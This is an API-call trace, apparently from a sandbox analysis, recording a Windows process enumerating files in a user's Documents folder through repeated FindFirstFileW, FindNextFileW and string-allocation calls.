lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18659e50, ftCreationTime.dwHighDateTime=0x1d5e568, ftLastAccessTime.dwLowDateTime=0xf40e7030, ftLastAccessTime.dwHighDateTime=0x1d5e30b, ftLastWriteTime.dwLowDateTime=0xf40e7030, ftLastWriteTime.dwHighDateTime=0x1d5e30b, nFileSizeHigh=0x0, nFileSizeLow=0x15d21, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gRZDUs935.csv", cAlternateFileName="GRZDUS~1.CSV")) returned 1 [0165.952] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\7hCRqlfD-iyUCiLmVFAD.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\gRZDUs935.csv", len=0x3c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\gRZDUs935.csv") returned 1 [0165.952] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\gRZDUs935.csv", len=0x3c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\gRZDUs935.csv") returned 1 [0165.952] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\gRZDUs935.csv", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\gRZDUs935.csv", len=0x3c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\gRZDUs935.csv") returned 1 [0165.952] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\gRZDUs935.csv", len=0x3c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\gRZDUs935.csv") returned 1 [0165.953] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\gRZDUs935.csv", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\gRZDUs935.csv", len=0x3c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\gRZDUs935.csv") returned 1 [0165.953] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\gRZDUs935.csv", len=0x3c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\gRZDUs935.csv") returned 1 [0165.953] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\gRZDUs935.csv", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\gRZDUs935.csv", len=0x3c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\gRZDUs935.csv") returned 1 [0165.953] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9abf22f0, ftCreationTime.dwHighDateTime=0x1d5dc11, ftLastAccessTime.dwLowDateTime=0x2bff1760, ftLastAccessTime.dwHighDateTime=0x1d5e2df, ftLastWriteTime.dwLowDateTime=0x2bff1760, ftLastWriteTime.dwHighDateTime=0x1d5e2df, nFileSizeHigh=0x0, nFileSizeLow=0x8c09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qpJflX1yMjR.ods", cAlternateFileName="QPJFLX~1.ODS")) returned 1 [0165.953] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\gRZDUs935.csv", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\qpJflX1yMjR.ods", len=0x3e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\qpJflX1yMjR.ods") returned 1 [0165.953] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\qpJflX1yMjR.ods", len=0x3e | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\qpJflX1yMjR.ods") returned 1 [0165.953] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\qpJflX1yMjR.ods", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\qpJflX1yMjR.ods", len=0x3e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\qpJflX1yMjR.ods") returned 1 [0165.953] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\qpJflX1yMjR.ods", len=0x3e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\qpJflX1yMjR.ods") returned 1 [0165.954] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\qpJflX1yMjR.ods", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\qpJflX1yMjR.ods", len=0x3e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\qpJflX1yMjR.ods") returned 1 [0165.954] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\qpJflX1yMjR.ods", len=0x3e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\qpJflX1yMjR.ods") returned 1 [0165.954] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\qpJflX1yMjR.ods", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\qpJflX1yMjR.ods", len=0x3e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\qpJflX1yMjR.ods") returned 1 [0165.954] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc904fbf0, ftCreationTime.dwHighDateTime=0x1d5e43e, ftLastAccessTime.dwLowDateTime=0x8179dc40, ftLastAccessTime.dwHighDateTime=0x1d5e1f2, ftLastWriteTime.dwLowDateTime=0x8179dc40, ftLastWriteTime.dwHighDateTime=0x1d5e1f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uhxF0nw", cAlternateFileName="")) returned 1 [0165.954] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\qpJflX1yMjR.ods", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.954] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.954] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.954] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.955] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.955] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.955] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.955] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.955] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.955] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.955] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.955] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.955] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.956] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.956] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw" (normalized: "c:\\users\\aetadzjz\\documents\\z8q_ydu1jaodnbm6rg\\uhxf0nw")) returned 0x10 [0165.956] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.956] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.956] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.956] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.956] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.956] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.956] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.957] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", cchWideChar=54, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nwd4x8i\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 54 [0165.957] SysReAllocStringLen (in: pbstr=0x1fd3c0b8*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1fd3c0b8*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.957] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d54600, ftCreationTime.dwHighDateTime=0x1d5dfd2, ftLastAccessTime.dwLowDateTime=0x8d7e2c60, ftLastAccessTime.dwHighDateTime=0x1d5e3c0, ftLastWriteTime.dwLowDateTime=0x8d7e2c60, ftLastWriteTime.dwHighDateTime=0x1d5e3c0, nFileSizeHigh=0x0, nFileSizeLow=0x159de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VE_y247Ot3u_6gTd.ots", cAlternateFileName="VE_Y24~1.OTS")) returned 1 [0165.957] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\VE_y247Ot3u_6gTd.ots", len=0x43 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\VE_y247Ot3u_6gTd.ots") returned 1 [0165.957] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\VE_y247Ot3u_6gTd.ots", len=0x43 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\VE_y247Ot3u_6gTd.ots") returned 1 [0165.957] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\VE_y247Ot3u_6gTd.ots", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\VE_y247Ot3u_6gTd.ots", len=0x43 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\VE_y247Ot3u_6gTd.ots") returned 1 [0165.957] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\VE_y247Ot3u_6gTd.ots", len=0x43 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\VE_y247Ot3u_6gTd.ots") returned 1 [0165.957] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\VE_y247Ot3u_6gTd.ots", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\VE_y247Ot3u_6gTd.ots", len=0x43 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\VE_y247Ot3u_6gTd.ots") returned 1 [0165.957] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\VE_y247Ot3u_6gTd.ots", len=0x43 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\VE_y247Ot3u_6gTd.ots") returned 1 [0165.958] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\VE_y247Ot3u_6gTd.ots", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\VE_y247Ot3u_6gTd.ots", len=0x43 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\VE_y247Ot3u_6gTd.ots") returned 1 [0165.958] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d54600, ftCreationTime.dwHighDateTime=0x1d5dfd2, ftLastAccessTime.dwLowDateTime=0x8d7e2c60, ftLastAccessTime.dwHighDateTime=0x1d5e3c0, ftLastWriteTime.dwLowDateTime=0x8d7e2c60, ftLastWriteTime.dwHighDateTime=0x1d5e3c0, nFileSizeHigh=0x0, nFileSizeLow=0x159de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VE_y247Ot3u_6gTd.ots", cAlternateFileName="VE_Y24~1.OTS")) returned 0 [0165.958] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0165.958] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.958] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.958] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.958] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.958] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.959] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.959] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", len=0x36 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw") returned 1 [0165.959] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*", len=0x38 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*") returned 1 [0165.959] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*", len=0x38 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*") returned 1 [0165.959] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*", len=0x38 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*") returned 1 [0165.959] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*", len=0x38 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*") returned 1 [0165.959] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*", len=0x38 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*") returned 1 [0165.959] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*", len=0x38 | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*") returned 1 [0165.959] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*", len=0x38 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*") returned 1 [0165.959] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*", lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc904fbf0, ftCreationTime.dwHighDateTime=0x1d5e43e, ftLastAccessTime.dwLowDateTime=0x8179dc40, ftLastAccessTime.dwHighDateTime=0x1d5e1f2, ftLastWriteTime.dwLowDateTime=0x8179dc40, ftLastWriteTime.dwHighDateTime=0x1d5e1f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0165.960] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\VE_y247Ot3u_6gTd.ots", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\.", len=0x38 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\.") returned 1 [0165.960] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\.", len=0x38 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\.") returned 1 [0165.960] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\.", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\.", len=0x38 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\.") returned 1 [0165.960] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\.", 